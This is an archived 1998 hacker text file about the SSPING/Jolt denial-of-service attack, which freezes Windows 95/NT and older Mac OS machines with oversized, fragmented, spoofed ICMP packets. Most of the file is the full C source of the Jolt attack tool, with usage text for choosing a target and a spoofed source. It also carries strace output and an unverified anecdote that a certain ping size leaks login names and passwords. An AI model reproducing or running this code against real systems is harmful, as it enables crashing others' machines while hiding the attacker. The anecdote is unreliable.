home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / sping2.txt < prev    next >
Text File  |  1998-03-25  |  10KB  |  186 lines

  1. SSPING/JOLT technical info
  2. Information obtained from
  3. www.darkening.com/ssping
  4. =============================
  5.  
  6.  
  7. SSPING was a product of Datagram of Havok, or so it was thought. Jeff W.
  8. Robertson has come forward on BugTraq with his original source code however
  9. which details this. 
  10.  
  11. How it seems to work is it sends the Win95/NT target a series of fragmented IP
  12. packets to machine, and when the machine puts them ogether, it then becomes a
  13. large packet (>64k?), which resembles the classic Ping of Death attack (ICMP
  14. packets > 64K), and then it freezes completely. Hawke also reminded me this isn't
  15. the first time Windows95 or NT has had problems with ICMP.
  16.  
  17. There were a few things I thought I might mention after reading your bit on microsoft
  18. coding to RFCs and FYIs and in regard to SSPING. These ping problems as you
  19. know have been around for a while ranging from the ping of death to the newer
  20. SSPING but I have not seen mention of another exploit found about a year ago with
  21. ping. And from memory this one sits right in the middle of SSPING and Ping Of
  22. Death. Around the 643?? mark as I said this is from memory but I can look it up for
  23. you or you can read it your self. One of the phrack authors had been playing with ping
  24. slowly working his way up the scale in size and fragmentation when he noticed that
  25. pinging a wintel machine with a packet in size between the other two returned the
  26. victims login name and password. Using a hex editor { I used Xtree Gold } to look at
  27. the debug contents of the returned packet you can in the ASCCI colum as plain as
  28. day actually see the users login name and password. Why ICMP stores that info in
  29. its buffers or indeed if thats where it comes from is beyond me and I have not had
  30. time yet to look into it. But the exploit was originally found to work only on certain
  31. stacks. I set up another machine here and tried numerous stacks including the DUN
  32. that comes with NT/Win95 and plus pack all with success.
  33.  
  34. The author, Jeff W. Robertson, describes Jolt (the original version of SSPING supposedly) as:
  35.  
  36. Ok so all this does is build a really fraggmented over sized packet and once win95
  37. gets it, and puts it back together it locks.  I send multiple packets by default cause
  38. some times it takes a few packets to totally freeze the host.  Maybe its spending
  39. processor time to figure out how to put them back together?  I've had reports of people
  40. blue screening from it tho so we'll let Microsoft's boys figure out exactly what this
  41. does to 95.  As of now i haven't tested it on NT, but maybe i will later ;).  All of this
  42. source wasn't origonally written by me I just took one of the old programs to kill
  43. POSIX and SYSV based systems and worked on it abit, then made it spoof =).
  44.  
  45. strace output of a normal ping:
  46. sendto(10, "\10\0\2660\7t\2\0\214\26\2663\1\16"..., 64, 0, {sin_family=AF_INET,
  47. sin_port=htons(0), sin_addr=inet_addr("193.14.46.3")}, 16) = 64
  48.  
  49. strace output of an ssping:
  50. sendto(10, "E\0\0\0zi \1\377\1\347\t\317D\234"..., 63, 0, {sin_family=AF_INET,
  51. sin_port=htons(0), sin_addr=inet_addr("193.14.46.3")}, 16) = 63
  52.  
  53. I did end up writing an ssping detector for Linux, based on the icmplogger source,
  54. but I wasn't thinking and ran into the problem that ssping has a built in spoofer. I
  55. deleted the source code for my ssping detector after it was telling me that
  56. www.microsoft.com was sspinging it 
  57.  
  58.                                         Source Code
  59.  
  60. I put the source code online now, for educational purposes. I put a flaw in it's syntax
  61. in three places, which anyone who could learn anything from this program (C
  62. Programmers) should discover easily. This is just so we don't have 30 billion people
  63. using this without reason.
  64.  
  65. /* Jolt 1.0 (c) 1997 by Jeff w. Roberson
  66.  * Please, if you use my code give me credit.  Also, if i was the first to
  67.  * find this glitch, please give me credit.  Thats all i ask.
  68.  *
  69.  * Ok so all this does is build a really fraggmented over sized packet
  70.  * and once win95 gets it, and puts it back together it locks.  I send
  71.  * multiple packets by default cause some times it takes a few packets to
  72.  * totally freeze the host.  Maybe its spending processor time to figure
  73.  * out how to put them back together?  I've had reports of people blue
  74.  * screening from it tho so we'll let Microsoft's boys figure out exactly
  75.  * what this does to 95.  As of now i haven't tested it on NT, but maybe
  76.  * I will later ;).  All of this source wasn't origonally written by me
  77.  * I just took one of the old programs to kill POSIX and SYSV based
  78.  * systems and worked on it abit, then made it spoof =).
  79.  * VallaH  (yaway@hotmail.com)
  80.  *
  81.  *  Update: It apears to work on some older versions of mac os
  82.  */
  83.  
  84.                        /* Yah this is for linux, but i like the BSD ip header better then linux's */
  85.                        #define __BSD_SOURCE
  86.                        #include <stdio.h>
  87.                        #include <sys/types.h>
  88.                        #include <sys/socket.h>
  89.                        #include <netdb.h>
  90.                        #include <netinet/in.h>
  91.                        #include <netinet/in_systm.h>
  92.                        #include <netinet/ip.h>
  93.                        #include <netinet/ipicmp.h>
  94.                        #include <string.h>
  95.                        #include <arpa/inet.h>
  96.  
  97.                        int main(int argc, char **argv)
  98.                        {
  99.                                char buf(400);
  100.                                struct ip *ip = (struct ip *)buf;
  101.                                struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  102.                                struct hostent *hp, *hp2;
  103.                                struct sockaddr_in dst;
  104.                                int offset;
  105.                                int on = 1;
  106.                        int num = 5;
  107.  
  108.                                bzero(buf, sizeof buf);
  109.  
  110.                                if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
  111.                                        perror("socket");
  112.                                        exit(1);
  113.                                }
  114.                                if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  115.                                        perror("IP_HDRINCL");
  116.                                        exit(1);
  117.                                }
  118.                                if (argc < 3) {
  119.                        printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");
  120.                                        printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
  121.                        printf("\tdstaddr is the host your attacking\n");
  122.                        printf("\tsaddr is the host your spoofing from\n");
  123.                        printf("\tNumber is the number of packets to send, 5 is the default\n");
  124.                        printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its
  125.                        nothing new..\n");
  126.                        printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
  127.                                        exit(1);
  128.                                }
  129.                                if (argc == 4) num = atoi(argv[3]);
  130.                            for (i=1;i<=num;i++) {
  131.  
  132.                                if ((hp = gethostbyname(argv[1])) == NULL) {
  133.                                        if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  134.                                                fprintf(stderr, "%s: unknown host\n", argv[1]);
  135.                        exit(1);
  136.                                        }
  137.                                } else {
  138.                                        bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length;
  139.                                }
  140.  
  141.                                if ((hp2 = gethostbyname(argv[2])) == NULL) {
  142.                                        if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
  143.                                                fprintf(stderr, "%s: unknown host\n", argv[2]);
  144.                                                exit(1);
  145.                                        }
  146.                                } else {
  147.                                        bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
  148.                                }
  149.  
  150.                                printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  151.                                ip->ip_v = 4;
  152.                                ip->ip_hl = sizeof *ip >> 2;
  153.                                ip->ip_tos = 0;
  154.                                ip->ip_len = htons(sizeof buf);
  155.                                ip->ip_id = htons(4321);
  156.                                ip->ip_off = htons(0);
  157.                                ip->ip_ttl = 255;
  158.                                ip->ip_p = 1;
  159.                                ip->ip_csum = 0;                 /* kernel fills in */
  160.  
  161.                                dst.sin_addr = ip->ip_dst;
  162.                                dst.sin_family = AF_INET;
  163.  
  164.                                icmp->type = ICMP_ECHO;
  165.                                icmp->code = 0;
  166.                                icmp->checksum = htons(~(ICMP_ECHO << 8));
  167.                                for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  168.                                        ip->ip_off = htons(offset >> 3);
  169.                                        if (offset < 65120)
  170.                                                ip->ip_off |= htons(0x2000);
  171.                                        else
  172.                                                ip->ip_len = htons(418);  /* make total 65538 */
  173.                                        if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  174.                                                                sizeof dst) < 0) {
  175.                                                fprintf(stderr, "offset %d: ", offset);
  176.                                                perror("sendto");
  177.                                        }
  178.                                        if (offset == 0) {
  179.                                                icmp->type = 0;
  180.                                                icmp->code = 0;
  181.                                                icmp->checksum = 0;
  182.                                        }
  183.                                }
  184.                            }
  185.                        return 0;
  186.                        }